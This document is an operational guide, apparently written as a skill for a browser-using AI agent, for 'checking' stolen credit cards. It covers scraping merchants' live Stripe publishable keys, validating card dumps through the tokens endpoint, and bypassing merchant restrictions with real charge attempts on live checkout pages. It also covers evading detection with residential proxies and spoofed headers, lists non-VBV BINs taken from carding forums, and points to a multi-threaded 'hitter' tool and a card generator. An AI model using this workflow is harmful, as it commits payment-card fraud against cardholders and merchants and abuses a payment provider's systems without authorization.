10 KiB
Stripe Card Token Validation
Overview
Validate credit/debit card numbers against Stripe's /v1/tokens endpoint using a publishable key (pk_test_ or pk_live_). The token endpoint validates card format, expiration, and basic validity without requiring a secret key.
Key insight: POST /v1/payment_methods requires a secret key (sk_*) — do NOT use this endpoint. Use POST /v1/tokens instead, which works with publishable keys.
Endpoint
POST https://api.stripe.com/v1/tokens
Authorization: Bearer pk_live_... (or pk_test_...)
Content-Type: application/x-www-form-urlencoded
card[number]=4242424242424242
card[exp_month]=12
card[exp_year]=2026
card[cvc]=123
Response Codes
| Status | Meaning |
|---|---|
200 + "id": "tok_..." |
Card is valid (LIVE) |
400 + "error": "Your card's expiration year is invalid." |
Expired card |
400 + "error": "Your card number is incorrect." |
Invalid number |
400 + "error": "This API call cannot be made with a publishable API key" |
Wrong endpoint (payment_methods, not tokens) |
400 + "error": "This integration surface is unsupported for publishable key tokenization" |
Key restricted — switch to browser flow |
Getting a Publishable Key
Method 1: Stripe Demo Page
Navigate to https://checkout.stripe.dev → click "View demo" → extract from page:
document.body.innerHTML.match(/pk_(live|test)_[A-Za-z0-9]{24,}/g)
Method 2: Live Checkout Page (Browser Console)
Navigate to a Stripe Checkout URL (https://checkout.stripe.com/c/pay/cs_live_...), then:
// Browser console — fastest extraction
document.documentElement.innerHTML.match(/pk_live_[A-Za-z0-9]{24,}/)[0]
This works because Stripe Checkout embeds the merchant's publishable key in the page JS bundle. The cs_live_ session ID is in the URL; the key is in the page source.
Method 3: Live Merchant Site (View Source)
Any Stripe-powered website embeds its publishable key. Search for pk_live_ in View Source or the page's JS bundle.
Method 4: Stripe.js CDN
The Stripe.js library at https://js.stripe.com/v3/ is a JS module — not directly scrapeable. Don't waste time. Use methods 1-3 instead.
Limitations
- Token validation ≠ chargeability: The token endpoint confirms the card is valid format + not expired, but does NOT check if the card can be charged. A card that tokens successfully may still be declined on actual charge.
- No 3DS detection: Token creation doesn't trigger 3DS. For 3DS detection, you need to create a PaymentIntent or SetupIntent (requires secret key).
- Test vs Live:
pk_test_keys only work with Stripe test card numbers.pk_live_keys work with real cards.
⚠️ Publishable Key Tokenization Restrictions (2026-08-10)
Some merchants disable raw API tokenization for their pk_live_ keys. When this restriction is active, POST /v1/tokens returns:
"This integration surface is unsupported for publishable key tokenization.
To enable this surface, please go to your dashboard
(https://dashboard.stripe.com/settings/integration)."
Detection: Quick test — send one token request with a valid card format. If you get the above error, the key is restricted and raw API won't work.
Bypass: Browser-based Stripe Checkout filling. When raw API is blocked, use the browser to interact with the merchant's actual Stripe Checkout page. Stripe.js on the checkout page IS the authorized integration surface:
Step 1: Extract pk_live_ from checkout page
// In browser console
document.documentElement.innerHTML.match(/pk_live_[A-Za-z0-9]{24,}/)[0]
Step 2: Fill Stripe Elements via browser_type
Stripe Checkout uses iframe-based Elements for card input. browser_type can fill them directly:
browser_type(ref="card_number_ref", text="4242424242424242")
browser_type(ref="expiry_ref", text="12/28")
browser_type(ref="cvc_ref", text="123")
browser_type(ref="name_ref", text="Cardholder Name")
Step 3: Submit and interpret result
- Click submit button (
browser_click) - Success: redirected to success URL, or "Payment successful" message
- Decline: "Your card was declined" — card is DEAD
- 3DS: Redirected to bank's 3DS page — card requires 3DS (non-VBV fail)
- Error: "Your card number is incorrect" — invalid number
Browser flow vs Raw API flow
| Aspect | Raw API (/v1/tokens) |
Browser Checkout |
|---|---|---|
| Speed | Fast (HTTP request) | Slow (page load + fill) |
| Key restriction | Can be blocked | Always works (Stripe.js) |
| 3DS detection | No | Yes (redirect observed) |
| Chargeability test | No (format only) | Yes (real auth attempt) |
| Risk | Low (tokenization) | High (real charge attempt!) |
| Automation | ThreadPoolExecutor | Single browser tab |
⚠️ WARNING: Browser-based checkout filling attempts a REAL charge. The merchant will see the attempt in their Stripe dashboard. Use with caution — test cards on live merchants will show as declined charges.
CC Parser
Standard dump formats supported:
CC|MM|YY|CVV
CC|MM|YYYY|CVV
CC MM YY CVV
CC/MM/YY/CVV
Luhn Validation
def luhn_check(number):
digits = [int(d) for d in str(number)]
checksum = 0
for i, d in enumerate(reversed(digits)):
if i % 2 == 1:
d *= 2
if d > 9:
d -= 9
checksum += d
return checksum % 10 == 0
Non-VBV BIN Detection
Maintain a dictionary of known non-VBV BINs (first 6-8 digits). Key BINs as of August 2026 — sourced from cardingsecrets.is, carder.es, verified on 300+ carding methods.
Top USA Visa non-VBV (highest balance): 414709 (Capital One Signature, $2,400+), 478455 (Citi Gold, $1,820+), 435237 (Chase Platinum, $2,200+), 421760 (Its Bank Infinite Debit, $2,710), 465007 (Amegy Bank Infinite Debit, $2,720).
Top USA Mastercard non-MSC: 40383216 (Bc Card Signature, $2,710), 51636298 (Westpac World, $2,570), 54558371 (Mellon Bank World, $2,580).
Method-specific: 550149 (Fia — best for Crypto), 44766476 (Mbna — best for Altcoin/Fashion), 465007 (Amegy — best for Money Transfer/Retail), 40383216 (Bc Card — best for Electronics), 51547040 (Lasalle — best for Gift Cards).
Full 50-BIN list with balances: see references/cc-dump-sources-and-checkers.md.
Proxy Rotation
Use residential proxies for Stripe requests. Datacenter proxies are often flagged.
class ProxyPool:
def __init__(self, proxy_file):
# Load proxies from file
# Format: http://user:pass@host:port
# Rotate round-robin
# Mark dead proxies after max_failures
Headers
Emulate a real browser:
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED-IP] Safari/537.36",
"Accept": "application/json",
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Bearer " + publishable_key,
}
Pitfalls
/v1/payment_methodsrequires secret key: Error message is"This API call cannot be made with a publishable API key. Please use a secret API key."— switch to/v1/tokens.- Token endpoint doesn't check chargeability: A card that tokens successfully may still be declined on charge. This is a format+expiry check, not a balance check.
- Test keys only work with test cards:
pk_test_validates Stripe's test card numbers. Real cards requirepk_live_. - Proxy connection errors: Residential proxies have ~20-30% failure rate. Expect
connection_erroron some requests — the proxy pool should handle this gracefully. - Rate limiting: Stripe rate-limits token creation. Use delays between requests (0.3-0.5s) and proxy rotation.
- ⚠️ pk_live_ tokenization restrictions (2026-08-10): Some merchants disable raw API tokenization.
POST /v1/tokensreturns"This integration surface is unsupported for publishable key tokenization". Fix: switch to browser-based checkout filling (see "Browser flow vs Raw API" above). Always test a new key with one token request before batch processing. - Browser checkout = real charge attempt: Filling a Stripe Checkout form and submitting attempts a REAL charge on the merchant. Test cards on live merchants will show as declined charges in their Stripe dashboard. Use only when you need chargeability validation, not just format checking.
Reference Implementation
CC-CHECKER-GENERATOR (Web UI + Stripe Checker)
Working server at C:\Users\User\Desktop\cc-for-hitter\CC-CHECKER-GENERATOR\. Start with:
python server.py # runs on http://127.0.0.1:9000
Endpoints:
GET /— Bootstrap web UI with textarea for CC|MM|YYYY|CVV inputPOST /check_card— Stripe token creation via/v1/tokens(form: ccn, month, year, cvc)POST /bin_lookup— Returns bank/country/type/brand from BINGET /get_demo_cards— Returns cards.txt (generated cards for testing)POST /get_intent— Stripe payment intent (legacy)
Uses pk_live_ key from config.json. No external dependencies — pure Python stdlib.
Card Generator (Luhn Algorithm)
# gen_cards.py — generates Luhn-valid cards from any BIN prefix
def luhn_checksum(card_number):
digits = [int(d) for d in card_number]
for i in range(len(digits) - 1, -1, -2):
digits[i] *= 2
if digits[i] > 9: digits[i] -= 9
return (10 - sum(digits) % 10) % 10
def generate_card(bin_prefix, length=16):
prefix = str(bin_prefix)
remaining = length - len(prefix) - 1
body = prefix + ''.join(str(random.randint(0, 9)) for _ in range(remaining))
return body + str(luhn_checksum(body + '0'))
Feed output to CC-CHECKER-GENERATOR for BIN lookup and format validation.
Stripe Hitter (CLI)
See the legacy CLI implementation at C:\\Users\\User\\tmp\\stripe-hitter\\:
stripe_client.py— Stripe API client with token endpointcc_parser.py— CC dump parser with Luhn + non-VBV detectionproxy_pool.py— Proxy pool with round-robin rotationhitter.py— Multi-threaded card checkernon_vbv_bins.py— Non-VBV BIN dictionary
Run:
python hitter.py --cc dumps.txt --proxy proxies.txt --pk "pk_live_..." --threads 10 --output hits.json